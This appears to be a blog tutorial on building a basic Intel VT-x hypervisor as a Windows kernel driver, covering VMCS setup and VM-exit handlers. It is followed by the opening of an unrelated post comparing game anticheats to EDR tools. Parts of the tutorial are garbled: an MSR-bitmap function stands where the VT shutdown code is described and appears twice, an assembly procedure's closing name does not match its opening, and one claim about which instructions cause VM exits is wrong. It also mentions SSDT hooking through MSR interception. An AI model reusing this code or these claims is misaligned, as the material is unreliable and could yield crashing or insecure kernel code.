1. Guest state fields, when VT exits from the virtual machine, the processor status (registers, etc.) will be stored in this area. When entering the virtual machine (turning on VT), the status of various processors in the virtual machine is determined by the value of the corresponding field in this area when entering the virtual machine.

2. Host state fields, when exiting from a virtual machine, the host takes over the CPU. After the host takes over, the states of various registers are stored in this area. That is to say, when a vm-exit event occurs in the virtual machine, the CPU will return from the guest to the host, and the values in this area will be set to the corresponding registers, and then continue to execute according to the eip after the setting.

3. VM-execution control fields

4. VM-exit control fields

5. VM-entry control fields

In addition to these five areas, vmcs also has an area called the vm exit information area. This area is read-only and stores the number of the failure code after the vmx instruction fails.

Now there are four important fields that need to be obtained when filling the guest and host areas. They are rip and rsp after entering the guest area, and rip rsp after returning from the guest to the host area. Here we want to make the system continue to operate normally after entering the guest area, or run down from the original place. Therefore, the return address and rsp of the upper layer function to be returned must be obtained through the function. As for the host eip after returning to the host area, since the return from the virtual machine must be a vmexit event, the event needs to be processed, so the rip after returning from the virtual machine must be set to the processing function of the vmexit event. And rsp needs to open up a new memory area for the vmexit event processing function. If the stack before the guest returns is still used, the contents of the stack will be destroyed, resulting in unpredictable results.

Before initializing the vmcs area, we must first obtain the rip and rsp of the guest after entering the guest. Since we hope that the virtual machine can continue to execute on the code before we enter the guest after entering the guest, we need to obtain the return address of the vmxinit function and the rsp of the previous function saved in the stack. After entering the guest, start running directly from the return address of the vmxinit function, and set the stack to the stack of the previous function. Here we need to use a vs embedded function _AddressOfReturnAddress. This function will return a pointer to the return address of the previous function in the stack during compilation. Therefore, through this function, we can get a pointer to the rip that needs to be used. The rsp of the previous function is 8 bytes below the location where rip is stored. Therefore, the code to obtain the rip and rsp of the guest function is as follows:

PULONG64 retAddr = (PULONG64)_AddressOfReturnAddress();
ULONG64 guestEsp = retAddr + 1;
ULONG64 guestEip = *retAddr;

Therefore, the general framework of the vmxinit function is as follows. hosteip passes in the address of the vmexit processing function. After a vmexit event occurs, it jumps to the vmexit processing function for corresponding processing.

int VmxInit(ULONG64 hostEip)
{
    PVMXCPUPCB pVcpu = VmxGetCurrentCPUPCB();
    pVcpu->cpuNumber = KeGetCurrentProcessorNumberEx(NULL);

    PULONG64 retAddr = (PULONG64)_AddressOfReturnAddress();
    ULONG64 guestEsp = (ULONG64)(retAddr + 1);
    ULONG64 guestEip = *retAddr;

    int error = VmxInitVmOn();
    if (error)
    {
        DbgPrintEx(77, 0, "[db]:vmon initialization failed error = %d, cpunumber %d\r\n", error, pVcpu->cpuNumber);
        return error;
    }

    error = VmxInitVmcs(guestEip, guestEsp, hostEip);
    if (error)
    {
        DbgPrintEx(77, 0, "[db]:vmcs initialization failed error = %d, cpunumber %d\r\n", error, pVcpu->cpuNumber);
        VmxDestory();
        return error;
    }

    return 0;
}

Then we need to set up the VMCS fields through vmxinitvmcs. Similar to setting the vmon area, first apply for a memory area and then fill in IA32_VMX_BASIC. After filling in the basic ID, initialize the memory through vmclear and select the vmcs area through vmptrld. These two steps correspond to unplugging the power and selecting the machine mentioned in the previous article. After completion, the most complex vmcs field is filled. Here, for each vmcs field, a function is encapsulated for initialization.

// VmxInitVmcs function
int VmxInitVmcs(ULONG64 GuestEip, ULONG64 GuestEsp, ULONG64 hostEip)
{
    PVMXCPUPCB pVcpu = VmxGetCurrentCPUPCB();
    PHYSICAL_ADDRESS lowphys, heiPhy;
    lowphys.QuadPart = 0;
    heiPhy.QuadPart = -1;

    pVcpu->VmxcsAddr = MmAllocateContiguousMemorySpecifyCache(PAGE_SIZE, lowphys, heiPhy, lowphys, MmCached);
    if (!pVcpu->VmxcsAddr)
    {
        return -1;  // Memory allocation failed
    }

    memset(pVcpu->VmxcsAddr, 0, PAGE_SIZE);
    pVcpu->VmxcsAddrPhys = MmGetPhysicalAddress(pVcpu->VmxcsAddr);

    pVcpu->VmxHostStackTop = MmAllocateContiguousMemorySpecifyCache(PAGE_SIZE * 36, lowphys, heiPhy, lowphys, MmCached);
    if (!pVcpu->VmxHostStackTop)
    {
        return -1;  // Memory allocation failed
    }

    memset(pVcpu->VmxHostStackTop, 0, PAGE_SIZE * 36);
    pVcpu->VmxHostStackBase = (ULONG64)pVcpu->VmxHostStackTop + PAGE_SIZE * 36 - 0x200;

    // Fill in ID
    ULONG64 vmxBasic = __readmsr(IA32_VMX_BASIC);
    *(PULONG)pVcpu->VmxcsAddr = (ULONG)vmxBasic;

    // Load VMCS
    __vmx_vmclear(&pVcpu->VmxcsAddrPhys.QuadPart);
    __vmx_vmptrld(&pVcpu->VmxcsAddrPhys.QuadPart);

    VmxInitGuest(GuestEip, GuestEsp);
    VmxInitHost(hostEip);

    return 0;
}

For the guest-related fields, guesteip and guestesp need to be passed in to determine where the guest starts running after entering the guest virtual machine. All other fields are filled in according to the current status. The first thing to fill in is the base, limit, attribute, and selector of each segment register in the GDT table.

After observing its ID, it can be found that the IDs of these fields are connected together, and the ID values differ by 2. For these segment registers, the method of separating base, limit, attribute, and selector is also very similar. Therefore, it is possible to consider encapsulating the method of filling in the attributes of the segment register into a function. Here it is encapsulated into fillGdtDataItem function. For the separation of each attribute, follow the figure below. The specific details of the separation are not repeated, and it is recommended to carefully read the method of cutting bits in the code.

void fillGdtDataItem(int index, short selector)
{
    GdtTable gdtTable = {0};
    AsmGetGdtTable(&gdtTable);
    selector &= 0xFFF8;
    ULONG limit = __segmentlimit(selector);
    PULONG item = (PULONG)(gdtTable.Base + selector);
    LARGE_INTEGER itemBase = {0};
    itemBase.LowPart = (*item & 0xFFFF0000) >> 16;
    item++;
    itemBase.LowPart |= (*item & 0xFF000000) | ((*item & 0xFF) << 16);

    // Set attributes
    ULONG attr = (*item & 0x00F0FF00) >> 8;
    if (selector == 0)
    {
        attr |= 1 << 16;
    }

    __vmx_vmwrite(GUEST_ES_BASE + index * 2, itemBase.QuadPart);
    __vmx_vmwrite(GUEST_ES_LIMIT + index * 2, limit);
    __vmx_vmwrite(GUEST_ES_AR_BYTES + index * 2, attr);
    __vmx_vmwrite(GUEST_ES_SELECTOR + index * 2, selector);
}

The GDT entry of the tr register cannot be filled like other registers. Because in 64-bit, the GDT entry of the tr register is 128 bits. Therefore, it needs to be set separately. The format of the GDT entry of the tr register in 64-bit is explained in Chapter 3.2.1 of this Intel white paper.

The idea is the same as the setting idea of other GDT table items, which is to take out the corresponding bits and fill them into the vmcs area.

GdtTable gdtTable = { 0 };
AsmGetGdtTable(&gdtTable);
ULONG trSelector = AsmReadTR();
trSelector &= 0xFFF8;
ULONG trlimit = __segmentlimit(trSelector);
LARGE_INTEGER trBase = {0};
PULONG trItem = (PULONG)(gdtTable.Base + trSelector);

Next is the filling of some other special registers. I won't go into detail here. There are special properties of some special registers here can be used for virtual machine detection. After performing some special operations, the results in the host state and the guest state can be different, so as to detect the existence of VT.

For example, in the subsequent msr settings, if you try to read a register that exceeds the msr range in the guest, an error will be thrown in the real machine, but if it is not handled specifically in the virtual machine, unpredictable results will occur. Although Intel guarantees that it cannot detect whether it is a guest in the guest, there are still many ways to perform corresponding detection.

__vmx_vmwrite(GUEST_CR0, __readcr0());
__vmx_vmwrite(GUEST_CR4, __readcr4());
__vmx_vmwrite(GUEST_CR3, __readcr3());
__vmx_vmwrite(GUEST_DR7, __readdr(7));
__vmx_vmwrite(GUEST_RFLAGS, __readeflags());
__vmx_vmwrite(GUEST_RSP, GuestEsp);
__vmx_vmwrite(GUEST_RIP, GuestEip);
__vmx_vmwrite(VMCS_LINK_POINTER, -1LL);
__vmx_vmwrite(GUEST_IA32_DEBUGCTL, __readmsr(IA32_MSR_DEBUGCTL));
__vmx_vmwrite(GUEST_IA32_PAT, __readmsr(IA32_MSR_PAT));
__vmx_vmwrite(GUEST_IA32_EFER, __readmsr(IA32_MSR_EFER));
__vmx_vmwrite(GUEST_FS_BASE, __readmsr(IA32_FS_BASE));
__vmx_vmwrite(GUEST_GS_BASE, __readmsr(IA32_GS_BASE));
__vmx_vmwrite(GUEST_SYSENTER_CS, __readmsr(0x174));
__vmx_vmwrite(GUEST_SYSENTER_ESP, __readmsr(0x175));
__vmx_vmwrite(GUEST_SYSENTER_EIP, __readmsr(0x176));

For the Host area filling, the content filled in the host area is similar to that filled in the guest area. Note that the gdt table item in the host does not need to fill in all attributes, only the selector. Another point to note is that the host's rsp must use a piece of memory applied for by itself. If you still use the rsp when the guest exits, it will definitely cause the stack in the guest to be destroyed, resulting in unpredictable results. The code for filling the host area is as follows:

void VmxInitHost(ULONG64 HostEip)
{
    GdtTable gdtTable = { 0 };
    AsmGetGdtTable(&gdtTable);
    PVMXCPUPCB pVcpu = VmxGetCurrentCPUPCB();
    ULONG trSelector = AsmReadTR();
    trSelector &= 0xFFF8;
    LARGE_INTEGER trBase = { 0 };
    PULONG trItem = (PULONG)(gdtTable.Base + trSelector);

    // Read TR
    trBase.LowPart = ((trItem[0] >> 16) & 0xFFFF) | ((trItem[1] & 0xFF) << 16) | ((trItem[1] & 0xFF000000) >> 8);
    trBase.HighPart = trItem[2];

    // Set TR
    __vmx_vmwrite(HOST_TR_BASE, trBase.QuadPart);
    __vmx_vmwrite(HOST_TR_SELECTOR, trSelector);

    // Set segment selectors
    __vmx_vmwrite(HOST_ES_SELECTOR, AsmReadES() & 0xfff8);
    __vmx_vmwrite(HOST_CS_SELECTOR, AsmReadCS() & 0xfff8);
    __vmx_vmwrite(HOST_SS_SELECTOR, AsmReadSS() & 0xfff8);
    __vmx_vmwrite(HOST_DS_SELECTOR, AsmReadDS() & 0xfff8);
    __vmx_vmwrite(HOST_FS_SELECTOR, AsmReadFS() & 0xfff8);
    __vmx_vmwrite(HOST_GS_SELECTOR, AsmReadGS() & 0xfff8);

    // Set control registers
    __vmx_vmwrite(HOST_CR0, __readcr0());
    __vmx_vmwrite(HOST_CR4, __readcr4());
    __vmx_vmwrite(HOST_CR3, __readcr3());

    // Set RSP and RIP
    __vmx_vmwrite(HOST_RSP, (ULONG64)pVcpu->VmxHostStackBase);
    __vmx_vmwrite(HOST_RIP, HostEip);

    // Set MSRs
    __vmx_vmwrite(HOST_IA32_PAT, __readmsr(IA32_MSR_PAT));
    __vmx_vmwrite(HOST_IA32_EFER, __readmsr(IA32_MSR_EFER));
    __vmx_vmwrite(HOST_FS_BASE, __readmsr(IA32_FS_BASE));
    __vmx_vmwrite(HOST_GS_BASE, __readmsr(IA32_GS_KERNEL_BASE));
    __vmx_vmwrite(HOST_IA32_SYSENTER_CS, __readmsr(0x174));
    __vmx_vmwrite(HOST_IA32_SYSENTER_ESP, __readmsr(0x175));
    __vmx_vmwrite(HOST_IA32_SYSENTER_EIP, __readmsr(0x176));

    // Set GDT and IDT
    GdtTable idtTable;
    __sidt(&idtTable);
    __vmx_vmwrite(HOST_GDTR_BASE, gdtTable.Base);
    __vmx_vmwrite(HOST_IDTR_BASE, idtTable.Base);
}

VM-Entry Controls

Then in Chapter 24.8.1 of "Processor Virtualization Technology", it explains in detail the filling of vm-entry control class fields and their corresponding attributes. During vm-entry, if the CPU detects that these fields have not been correctly filled, it will throw an error and exit.

The VM_ENTRY_CONTROLS field is 32 bits long, with each bit corresponding to a control function. It controls some operations performed by the processor when entering the virtual machine, such as:

• Whether to load dr0~dr7 registers when entering the virtual machine

• Whether to enter IA-32e mode when loading

• Whether to load IA32_PERF_GLOBAL_CTRL, IA32_PAT, IA32_EFER registers, etc.

The specific role of each bit is shown in Table 3-9 in the book. This book was written quite early, and the CPU may have added some other fields. For details, please refer to the relevant chapters in the Intel white paper.

After examining this table, you'll notice that some positions are fixed to 1, and some are fixed to 0. Some of these positions are not yet used and are reserved for future expansion of functions. These bits may no longer be fixed to 1 or 0 in the future, but used to control newly introduced functions. Therefore, we cannot directly write the bits fixed to 0 or 1. We need to calculate the bits fixed to 0 and 1 according to an algorithm and fill them into the VM_ENTRY_CONTROLS register.

To achieve this we would need to the IA32_VMX_BASIC register and then check its 55th bit if it's 1, use the register with "TRUE" on the right side of the table for all subsequent operations and if it's 0, use the register without "TRUE" on the left side.

In practice, many modern computers use the register with "TRUE". However, for compatibility, it's necessary to check which group of registers should be used each time.

The method of setting fixed bits is described in detail in Section 2.5.5 of the book. The IA32_MSR_VMX_TRUE_ENTRY_CTLS register is a 64-bit register, and the VM_ENTRY_CONTROLS that needs to be set is a 32-bit register.

When a certain bit in the lower 32 bits of IA32_MSR_VMX_TRUE_ENTRY_CTLS is 1, the corresponding bit in the VM_ENTRY_CONTROLS register must be 1. When a certain bit in the upper 32 bits of IA32_MSR_VMX_TRUE_ENTRY_CTLS is 0, the corresponding bit in the VM_ENTRY_CONTROLS register must be 0.

ULONG64 VmxAdjustControls(ULONG64 value, ULONG64 msr)
{
    LARGE_INTEGER msrValue;
    msrValue.QuadPart = __readmsr(msr);
    value = (msrValue.LowPart | value) & msrValue.HighPart;
    return value;
}

When first building the framework, there's no need to process other fields. Only the 9th bit needs to be filled in the custom field to enter IA-32e mode. Other bits can be left unset at the beginning. However, this doesn't mean these bits are unimportant. For example, the 2nd bit specifies whether to load the current dr register when entering the virtual machine. Reasonable use of this function may implement some special debugging functions.

void ConfigureVmEntryControls()
{
    ULONG64 vmxBasic = __readmsr(IA32_VMX_BASIC);
    ULONG64 msr = ((vmxBasic >> 55) & 1) ? IA32_MSR_VMX_TRUE_ENTRY_CTLS : IA32_MSR_VMX_ENTRY_CTLS;
    ULONG64 entryControls = VmxAdjustControls(0x200, msr);  // 0x200 enables IA-32e mode
    __vmx_vmwrite(VM_ENTRY_CONTROLS, entryControls);
}

Chapter 3.6.2 of "Processor Virtualization Technology" describes the MSR-load field. These two fields control whether to load the msr register when entering the virtual machine. Here, we don't need to load the msr register when entering the virtual machine because VM exits and entries are frequent. Loading the msr register every time would reduce performance. If we want to intercept or hook the msr register, there are other methods. Therefore, these two fields can be filled with 0.

Then we go to the VM_ENTRY_INTR_INFO_FIELD, which is described in Chapter 3.6.3.1. Its general role is that after filling this field according to certain rules, the corresponding interrupt or exception will be triggered after entering the virtual machine. We don't need to use this function for now. If the highest bit is set to 0, this field is considered invalid. Therefore, this field can be filled with 0 directly. When we need to use this function in the future, we can deal with it accordingly.

void InitializeVmEntrySettings()
{
    ConfigureVmEntryControls();
    __vmx_vmwrite(VM_ENTRY_MSR_LOAD_COUNT, 0);
    __vmx_vmwrite(VM_ENTRY_INTR_INFO_FIELD, 0);
}

VM-Exit Controls

The vm-exit control field is very similar to the vm-entry field. It specifies the operations to be performed when exiting the virtual machine. The operations performed during vm-entry and vm-exit can be corresponded. When vm-exit saves the msr register, vm-entry can load the msr register.

In "Section 24.7.1, VM-Exit Controls" describes the filling rules of vm-exit fields. It generally corresponds to the vm-entry filling rules. Two points to note:

1. The 15th bit (acknowledge interrupt on exit) specifies whether to read and save the interrupt vector number when exiting due to external interrupts. You can fill in 0 or 1 without affecting the use, but to use this saved information in the future, you can fill it with 1, which won't affect performance.

2. The 22nd bit has a device similar to a timer. However, many CPUs do not support this function. For compatibility, it's recommended not to use this function.

Then we get to the VM-Execution Control fields, which used to set which events to intercept and which not to intercept.

void InitializeVmExecutionControls()
{
    ULONG64 vmxBasic = __readmsr(IA32_VMX_BASIC);
    ULONG64 pinBasedMsr = ((vmxBasic >> 55) & 1) ? IA32_MSR_VMX_TRUE_PINBASED_CTLS : IA32_MSR_VMX_PINBASED_CTLS;
    ULONG64 procBasedMsr = ((vmxBasic >> 55) & 1) ? IA32_MSR_VMX_TRUE_PROCBASED_CTLS : IA32_MSR_VMX_PROCBASED_CTLS;

    ULONG64 pinBasedControls = VmxAdjustControls(0, pinBasedMsr);
    ULONG64 procBasedControls = VmxAdjustControls(0, procBasedMsr);

    __vmx_vmwrite(PIN_BASED_VM_EXEC_CONTROL, pinBasedControls);
    __vmx_vmwrite(CPU_BASED_VM_EXEC_CONTROL, procBasedControls);
}

And in the previous VMCS writing process, after a VM exit event occurs and returns to the host, the RIP is set to the address of the VM-exit processing function. This function must save all registers at the beginning and restore them before returning to the virtual machine. Otherwise, if the register contents differ before exiting and after returning to the virtual machine, it will lead to unpredictable results. Therefore, this function must be a naked function written in assembly.

VmExitHandlerAsm PROC
    push r15;
    push r14;
    push r13;
    push r12;
    push r11;
    push r10;
    push r9;
    push r8;
    push rdi;
    push rsi;
    push rbp;
    push rsp;
    push rbx;
    push rdx;
    push rcx;
    push rax;

    mov rcx,rsp;
    sub rsp,0100h
    call VmxExitHandler
    add rsp,0100h;

    pop rax;
    pop rcx;
    pop rdx;
    pop rbx;
    pop rsp;
    pop rbp;
    pop rsi;
    pop rdi;
    pop r8;
    pop r9;
    pop r10;
    pop r11;
    pop r12;
    pop r13;
    pop r14;
    pop r15;
    vmresume
    ret
AsmVmxExitHandler endp

The process is as follows:

1. Save all registers

2. Call a C function (VmExitHandlerC) for detailed event handling

3. Restore all registers

4. Resume VM execution using the vmresume instruction

Then we need to figure out the causes of vm-exit are described. It points out the instructions that will unconditionally cause vmexit events. In the virtual machine, executing all instructions except VMFUNC will unconditionally cause VMEXIT events. Additionally, CPUID, GETSEC, INVD, and XSETBV instructions will also unconditionally cause VMEXIT events.

In 24.9.1 Basic VM-Exit Information, you can find the corresponding vmexit information fields in the control area. These include exit reason, instruction length causing the exit, and instruction information. The vm-instruction error field in the read-only fields will be set when a vm instruction fails.

The exit reason field composition is described in 3.10.1.1. Bits 0-15 indicate the reason for vm exit, and other bits have other indicating functions. We should extract the other bits and only judge the vm exit reason through bits 0-15.

The vmexit event handling function framework includes:

1. Getting instruction length, instruction information, EIP ESP

2. Getting the event code

3. Handling the event accordingly

4. Incrementing rip by the instruction length

5. Writing back rip and rsp and returning to continue execution at the next instruction

Since we don't plan to implement VT nesting, we need to return an error for vmx events in the guest. When starting VT, if an error occurs, CF and ZF are not both 0. Only when the vmx instruction is successfully executed will CF and ZF both be set to 0. To let the virtual machine realize it cannot continue to enter the VT environment, we need to set CF and ZF to 1.

// VM Exit Handler
EXTERN_C VOID VmxExitHandler(PGuestContext context)
{
    ULONG64 reason = 0;
    ULONG64 instLen = 0;
    ULONG64 instinfo = 0;
    ULONG64 mrip = 0;
    ULONG64 mrsp = 0;

    __vmx_vmread(VM_EXIT_REASON, &reason);
    __vmx_vmread(VM_EXIT_INSTRUCTION_LEN, &instLen);
    __vmx_vmread(VMX_INSTRUCTION_INFO, &instinfo);
    __vmx_vmread(GUEST_RIP, &mrip);
    __vmx_vmread(GUEST_RSP, &mrsp);

    reason = reason & 0xFFFF;

    switch (reason)
    {
        case EXIT_REASON_CPUID:
        case EXIT_REASON_GETSEC:
        case EXIT_REASON_INVD:
        case EXIT_REASON_VMCALL:
        case EXIT_REASON_VMCLEAR:
        case EXIT_REASON_VMLAUNCH:
        case EXIT_REASON_VMPTRLD:
        case EXIT_REASON_VMPTRST:
        case EXIT_REASON_VMREAD:
        case EXIT_REASON_VMRESUME:
        case EXIT_REASON_VMWRITE:
        case EXIT_REASON_VMXOFF:
        case EXIT_REASON_VMXON:
        case EXIT_REASON_MSR_READ:
        case EXIT_REASON_MSR_WRITE:
        case EXIT_REASON_XSETBV:
            // Handle these events
            break;
    }

    __vmx_vmwrite(GUEST_RIP, mrip + instLen);
    __vmx_vmwrite(GUEST_RSP, mrsp);
}

Next off, cpuid will definitely cause vm-exit events. If there's no need to handle specific behaviors of CPUID, you can simply perform a cpuid in the handling function and return the obtained value to the guest. The handling function is in the host environment, so performing cpuid here will not cause repeated vm-exit events.

// Handle CPUID instruction
VOID VmxHandlerCpuid(PGuestContext context)
{
    if (context->mRax == 0x8888)
    {
        context->mRax = 0x11111111;
        context->mRbx = 0x22222222;
        context->mRcx = 0x33333333;
        context->mRdx = 0x44444444;
    }
    else
    {
        int cpuids[4] = {0};
        __cpuidex(cpuids, context->mRax, context->mRcx);
        context->mRax = cpuids[0];
        context->mRbx = cpuids[1];
        context->mRcx = cpuids[2];
        context->mRdx = cpuids[3];
    }
}

To verify the interception of the cpuid instruction, we can use special values. If the value of rax is 0x8888, we set rax, rbx, rcx, rdx to special values.

Next we need to handle vm-exit events caused by getsec, invd, xsetbv because the getsec instruction is generally not called, except when enabling SGX. We don't need it, so we can temporarily not handle it.

// Handle XSETBV instruction
case EXIT_REASON_XSETBV:
{
    ULONG64 value = MAKE_REG(context->mRax, context->mRdx);
    _xsetbv(context->mRcx, value);
}
break;

For invd, simply perform an invd instruction in the host environment and return. XSETBV is similar, call XSETBV according to the corresponding rules and return. Note that this instruction is 32-bit compatible, you need to combine eax and edx as the second parameter.

Then we need to figure out the communication between guest and host & Closing VT. We can use any event that produces vmexit for communication between the inside and outside of the virtual machine. We use this feature to implement the function of closing VT. We stipulate that when exiting due to the vmcall instruction, if the current rax is 'abcd', then exit the VT environment.

// Set MSR bitmap
BOOLEAN VmxSetReadMsrBitMap(PUCHAR msrBitMap, ULONG64 msrAddrIndex, BOOLEAN isEnable)
{
    if (msrAddrIndex >= 0xC0000000)
    {
        msrBitMap += 1024;
        msrAddrIndex -= 0xC0000000;
    }
    ULONG64 moveByte = 0;
    ULONG64 setBit = 0;
    if (msrAddrIndex != 0)
    {
        moveByte = msrAddrIndex / 8;
        setBit = msrAddrIndex % 8;
        msrBitMap += moveByte;
    }
    if (isEnable)
    {
        *msrBitMap |= 1 << setBit;
    }
    else
    {
        *msrBitMap &= ~(1 << setBit);
    }
    return TRUE;
}

After closing VT, we still need to jump back to the next instruction after the vmcall instruction to continue execution. We need to directly modify rsp and rip to jump back through assembly.

Conditional Virtual Machine Exit Events

There are certain control fields that can cause vmexit events when executing certain instructions or reading and writing certain registers, thus we need to create special conditions and handlers for these vmexits.

If the 28th bit of this register is 1, it indicates that MSR bitmap will be started. When the Use MSR bitmap bit is 1, you can provide a physical address of an MSR bitmap area for the MSR_BITMAP field. After filling it according to certain rules, reading and writing corresponding registers will produce conditional vm-exit events.

// Set MSR bitmap
BOOLEAN VmxSetReadMsrBitMap(PUCHAR msrBitMap, ULONG64 msrAddrIndex, BOOLEAN isEnable)
{
    if (msrAddrIndex >= 0xC0000000)
    {
        msrBitMap += 1024;
        msrAddrIndex -= 0xC0000000;
    }
    ULONG64 moveByte = 0;
    ULONG64 setBit = 0;
    if (msrAddrIndex != 0)
    {
        moveByte = msrAddrIndex / 8;
        setBit = msrAddrIndex % 8;
        msrBitMap += moveByte;
    }
    if (isEnable)
    {
        *msrBitMap |= 1 << setBit;
    }
    else
    {
        *msrBitMap &= ~(1 << setBit);
    }
    return TRUE;
}

The MSR bitmap area is 4KB in size, divided into four 1KB sections controlling read and write access to different ranges of MSR registers. The setting of MSR bitmap is relatively simple, just set the bit you want to intercept to 1. Additionally, you can perform SSDT hook by intercepting c0000082. However, this method has poor compatibility.

Then to make VT support Windows 10, the RDTSCP instruction needs to be handled. If not handled, it will cause a system crash due to a #UD exception.

// Handle RDTSCP instruction
case EXIT_REASON_RDTSCP:
{
    int aunx = 0;
    LARGE_INTEGER in = {0};
    in.QuadPart = __rdtscp(&aunx);
    context->mRax = in.LowPart;
    context->mRdx = in.HighPart;
    context->mRcx = aunx;
}
break;

We need to handle all instructions that might cause #UD exceptions if not handled. The Secondary Processor-Based VM-Execution Controls field needs to be set to enable interception of these instructions. For the rdtscp instruction, it's an upgraded version of RDTSC, used to obtain the CPU time counter in some newer processors.

For the INVPCID instruction, we need to handle the information saved in registers during vm-exit events and call the _invpcid instruction accordingly.

VOID VmxExitInvpcidHandler(PGuestContext context)
{
    ULONG64 mrsp = 0;
    ULONG64 instinfo = 0;
    ULONG64 qualification = 0;
    __vmx_vmread(VMX_INSTRUCTION_INFO, &instinfo); // Get instruction details
    __vmx_vmread(EXIT_QUALIFICATION, &qualification); // Get offset
    __vmx_vmread(GUEST_RSP, &mrsp);
    PINVPCID pinfo = (PINVPCID)&instinfo;
    ULONG64 base = 0;
    ULONG64 index = 0;
    ULONG64 scale = pinfo->scale ? (1 << pinfo->scale) : 0;
    ULONG64 addr = 0;
    ULONG64 regopt = ((PULONG64)context)[pinfo->regOpt];

    if (!pinfo->baseInvaild)
    {
        if (pinfo->base == 4)
        {
            base = mrsp;
        }
        else
        {
            base = ((PULONG64)context)[pinfo->base];
        }
    }

    if (!pinfo->indexInvaild)
    {
        if (pinfo->index == 4)
        {
            index = mrsp;
        }
        else
        {
            index = ((PULONG64)context)[pinfo->index];
        }
    }

    if (pinfo->addrssSize == 0)
    {
        addr = *(PSHORT)(base + index * scale + qualification);
    }
    else if (pinfo->addrssSize == 1)
    {
        addr = *(PULONG)(base + index * scale + qualification);
    }
    else
    {
        addr = *(PULONG64)(base + index * scale + qualification);
    }

    _invpcid(regopt, &addr);
}

The XSAVES instruction also needs to be considered, which is used for saving processor extended states. The behavior of XSAVES is determined by the "enable XSAVES/XRSTORS" VM-execution control bit. If this control is not set (i.e., is 0), XSAVES will cause an invalid-opcode exception (#UD), potentially crashing the system.

When the control is set to 1, the behavior depends on the XSS-exiting bitmap. XSAVES will cause a VM exit if any bit is set in the logical-AND of EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. Otherwise, it operates normally.

To properly support XSAVES without unnecessary performance overhead, we need to enable it in the VM-execution controls but avoid setting the XSS-exiting bitmap. This approach prevents the #UD exception and allows XSAVES to operate normally without causing VM exits.

cCopyvoid EnableXsavesSupport(void)
{
    ULONG64 secondaryControls = 0;

    // Read current secondary processor-based VM-execution controls
    __vmx_vmread(SECONDARY_VM_EXEC_CONTROL, &secondaryControls);

    // Set the XSAVES enable bit
    secondaryControls |= SECONDARY_EXEC_XSAVES;

    // Write back the updated controls
    __vmx_vmwrite(SECONDARY_VM_EXEC_CONTROL, secondaryControls);

    // Ensure XSS-exiting bitmap is not set
    ULONG64 xssExitingBitmap = 0;
    __vmx_vmwrite(XSS_EXITING_BITMAP, xssExitingBitmap);
}

This function does two key things:

1. It enables XSAVES support by setting the SECONDARY_EXEC_XSAVES bit in the secondary processor-based VM-execution controls.

2. It ensures the XSS-exiting bitmap is cleared, preventing unnecessary VM exits when XSAVES is executed.

By implementing this support, we allow the guest OS (such as the Windows kernel) to use the XSAVES instruction without causing VM exits or exceptions. This maintains both functionality and performance in our virtualized environment.

It's worth noting that this approach differs from how we handle some other instructions like RDTSCP or INVPCID, where we might intentionally cause VM exits to emulate or monitor the instruction's behavior. For XSAVES, our goal is to allow it to execute normally within the guest, intervening as little as possible to maintain optimal performance.

Conclusion

This article has covered the essential steps and concepts needed to implement a basic hypervisor using Intel VT-x virtualization technology. We've explored the process of verifying CPU support, initializing the virtual machine environment, configuring the Virtual Machine Control Structure (VMCS), and handling VM entry and exit events. The implementation of a simple hypervisor as described here provides a foundation for understanding the core mechanics of hardware-assisted virtualization.

There are many additional aspects that need to be addressed to create a robust and feature-complete hypervisor. These include implementing memory virtualization through Extended Page Tables (EPT), virtualizing I/O devices, handling interrupts and exceptions in the guest environment, and implementing nested virtualization support. Additionally, performance optimization, security hardening, and support for multiple guest operating systems are crucial considerations for a production-ready hypervisor.

Cover Illustration by atomic_arctic

This research was done using software obtained by myself individually or through open-source projects abiding to all licenses. There is no intention of harming any company’s product.

This post is not meant to be an attack towards any game or anticheat developer, and I am not tied to any game hack publisher or entities.

Everything here is constructed for educational purposes.

I've talked somewhat briefly about my previous adventures being a cheat developer for various competitive games during highschool. I've learned alot through those endeavors and i've been applying the skills i've learned there at my work ever since. But since i've gotten out of the game, anticheat systems have grown considerably more aggressive and the backlash against them is getting more intense.

On one side, developers say that kernel-level anticheat drivers are no more invasive than antivirus/EDR software. But consumers have also take notice about how its kinda absurd that to enjoy a game, they have to install something akin to spyware in their devices. While i do agree with some points lounged by both sides, i think there is a conversation to be had about the need for these drivers.

On one hand, cheating software has moved forward from the days of scrappy kids in UnknownCheats to a massive industry, with many making six figure incomes from building cheating software. But there are also alot of cases where anticheat drivers have been used for offensive purposes through LOLBins.

In this blogpost we're going to see a few things, mainly comparing Kernel-Level Anticheats to EDR/AV solutions (which is a comparison many anticheat firms make), what type of telemetry they monitor, what type of protection methods they have, and what are the alternative solutions to kernel mode anticheats.

This article would not be possible without :

• ItsGamerDoc reflection on anticheats and their public perception

• Amazing research from the following individuals

  • Writeup about Valorant's Guarded Memory Regions by @xyrem256

  • Writeup about Anti Cheat Extreme (ACE)'s Screenshotting Capabilities by @koyzdev

• ac open source anticheat project on GitHub by donnaskiez

• Alot of writeups about Vanguard implementations on Valorant and League of Legends by Riot Games

• The UnknownCheats forum, lmfao

Comparing EDRs to Anticheats

To be honest this entire article was made due to a post by an article by ItsGamerDoc on X (formerly Twitter) about anticheats and their public perception in the gaming community. He works as a Senior Anticheat Analyst at Riot Games and i've been following his work for sometime, and this article of mine is in no way an attack on him or his employers.

The article details how the concern for kernel level anticheats are overblown, and how it does similar things as like an anvirus (which i more commonly refer to as Endpoint Detection and Response (EDR), an enterprise and more agg version of antiviruses). At first, the comparison between EDR and anticheat systems make sense. They're both programs to detect malicious activity against certain processes in the system, and to achieve this they both do seemingly similar things :

• Signature-based detection of known threats (usually anticheats will halt the execution of software like IDA Pro or x64dbg)

• Detection and prevention of mapped drivers and DLLs (similar to the prevention of LOLBins)

• Monitoring certain system binaries and processes through behavioral detection to spot malicious activity

• Obfuscation of certain processes to make sure tampering is harder

But there is a very fundamental difference between EDRs and anticheats that many vendors like to skip over, the adversarial nature of the relationship between the user and the software. In EDR/AVs, the users are working with the security vendor to prevent a security breach and the attackers are usually external actors, but in anticheat software the user is the attacker.

To effectively monitor and intervene in the activities of potential cheaters, anticheats often operate at the kernel level. This allows them to intercept system calls, monitor kernel objects, and prevent tampering with user-mode processes. Kernel-level drivers can provide a higher privilege level, enabling more robust protection mechanisms such as NMI (Non-Maskable Interrupt) stack walking and direct hardware access for integrity checks.

